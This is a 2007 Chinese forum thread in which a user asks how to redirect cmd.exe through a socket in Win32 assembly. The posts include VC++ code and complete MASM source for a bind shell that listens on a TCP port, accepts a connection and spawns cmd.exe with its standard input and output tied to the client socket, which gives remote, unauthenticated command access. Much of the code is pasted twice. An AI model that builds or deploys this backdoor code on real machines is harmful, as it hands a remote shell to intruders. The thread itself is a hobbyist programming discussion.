-
-
[讨论]win32汇编如何实现cmd的输出转向
-
发表于: 2007-1-6 13:59
-
VC++是这样来着：
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求830端口，接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.wShowWindow = SW_SHOWNORMAL;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
这个代码实现了cmd的输出转向，但是用汇编我不知道怎么搞，一般我是用CreateProcess直接执行命令行了.....
.
.
.
.
invoke WSAStartup,0202H,addr @wsaData ;初始化WSAStartup库
invoke RtlZeroMemory,addr @stAddr,sizeof sockaddr_in ;清空内存
mov @stAddr.sin_family,AF_INET ;设置IP格式
invoke htons,TCP_PORT ;设置端口
mov @stAddr.sin_port,ax ;保存
mov @stAddr.sin_addr,INADDR_ANY ;设置IP地址
invoke socket,AF_INET,SOCK_STREAM,0 ;加载套接字
.if eax != INVALID_SOCKET
mov hScoket,eax ;保存句柄
.endif
invoke bind,hScoket,addr @stAddr,sizeof sockaddr_in ;绑定
.if eax != SOCKET_ERROR
invoke listen,hScoket,5 ;开始监听，默认连接5个
.endif
invoke accept,hScoket,NULL,NULL ;如果有客户端连接，马上确定
.
.
invoke recv,hScoket1,addr szBuffer,1024,0 ;开始接收命令
.
.
invoke GetStartupInfo,addr stStartUp
invoke CreateProcess,NULL,addr szBuffer,NULL,NULL,NULL,\ ;是的话就处理
CREATE_NO_WINDOW,NULL,NULL,addr stStartUp,addr stProcInfo
这样挺麻烦的，如果能直接实现cmd输出转向，那就非常的好了
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求830端口，接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.wShowWindow = SW_SHOWNORMAL;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
这个代码实现了cmd的输出转向，但是用汇编我不知道怎么搞，一般我是用CreateProcess直接执行命令行了.....
.
.
.
.
invoke WSAStartup,0202H,addr @wsaData ;初始化WSAStartup库
invoke RtlZeroMemory,addr @stAddr,sizeof sockaddr_in ;清空内存
mov @stAddr.sin_family,AF_INET ;设置IP格式
invoke htons,TCP_PORT ;设置端口
mov @stAddr.sin_port,ax ;保存
mov @stAddr.sin_addr,INADDR_ANY ;设置IP地址
invoke socket,AF_INET,SOCK_STREAM,0 ;加载套接字
.if eax != INVALID_SOCKET
mov hScoket,eax ;保存句柄
.endif
invoke bind,hScoket,addr @stAddr,sizeof sockaddr_in ;绑定
.if eax != SOCKET_ERROR
invoke listen,hScoket,5 ;开始监听，默认连接5个
.endif
invoke accept,hScoket,NULL,NULL ;如果有客户端连接，马上确定
.
.
invoke recv,hScoket1,addr szBuffer,1024,0 ;开始接收命令
.
.
invoke GetStartupInfo,addr stStartUp
invoke CreateProcess,NULL,addr szBuffer,NULL,NULL,NULL,\ ;是的话就处理
CREATE_NO_WINDOW,NULL,NULL,addr stStartUp,addr stProcInfo
这样挺麻烦的，如果能直接实现cmd输出转向，那就非常的好了
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
|
|
|---|---|
|
|
|
|
|
谁来回答一下，我ＯＤ都看眼花了，源代码： .386P .model flat,stdcall option casemap:none include windows.inc include user32.inc include kernel32.inc include wsock32.inc include Ws2_32.inc includelib user32.lib includelib kernel32.lib includelib wsock32.lib includelib Ws2_32.lib TCP_PORT equ 1024 ;常量定义 .data szCommand db 'cmd.exe',0 .data? hScoket SOCKET ? hScoketOther SOCKET ? szBuffer db MAX_PATH dup(?) dwSize DWORD ? .code _ProcessMain proc local @wsaData:WSADATA local @hScoket:SOCKET local @stAddr:sockaddr_in local stStartUp:STARTUPINFO local stProcInfo:PROCESS_INFORMATION invoke WSAStartup,0202H,addr @wsaData ;初始化WSAStartup库 mov @stAddr.sin_family,AF_INET ;设置IP格式 invoke htons,TCP_PORT ;设置端口 mov @stAddr.sin_port,ax ;保存 mov @stAddr.sin_addr,INADDR_ANY ;设置IP地址 invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0 ;加载套接字 mov hScoket,eax ;保存句柄 invoke bind,hScoket,addr @stAddr,sizeof sockaddr_in ;绑定 .if eax == SOCKET_ERROR mov eax,FALSE ret .endif invoke listen,hScoket,5 ;开始监听，默认连接5个 invoke accept,hScoket,NULL,NULL ;如果有客户端连接，马上确定 .if eax == INVALID_SOCKET mov eax,FALSE ret .endif mov hScoketOther,eax invoke GetStartupInfo,addr stStartUp mov ebx,hScoketOther mov stStartUp.hStdInput,ebx ;为STARTUPINFO的结构成员赋值,这个值是accept()返回的句柄 mov stStartUp.hStdOutput,ebx mov stStartUp.hStdError,ebx mov stStartUp.dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES mov stStartUp.wShowWindow,SW_HIDE mov stStartUp.wShowWindow,SW_SHOWNORMAL invoke CreateProcess,NULL,addr szCommand,NULL,NULL,\ NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo ;将结果载入并执行cmd ret _ProcessMain endp start: invoke _ProcessMain invoke ExitProcess,NULL end start |
|
|
|
|
|
最初由 Winker 发布 为什么转载总是要把人家的信息去掉? |
|
|
|
|
|
我就是红狼的asm，经常混邪恶八进制，winker是我在看雪的马甲 这个问题已经解决了： http://forum.eviloctal.com/read-htm-tid-26719.html 原来只是CreateProcess的一个参数问题 |
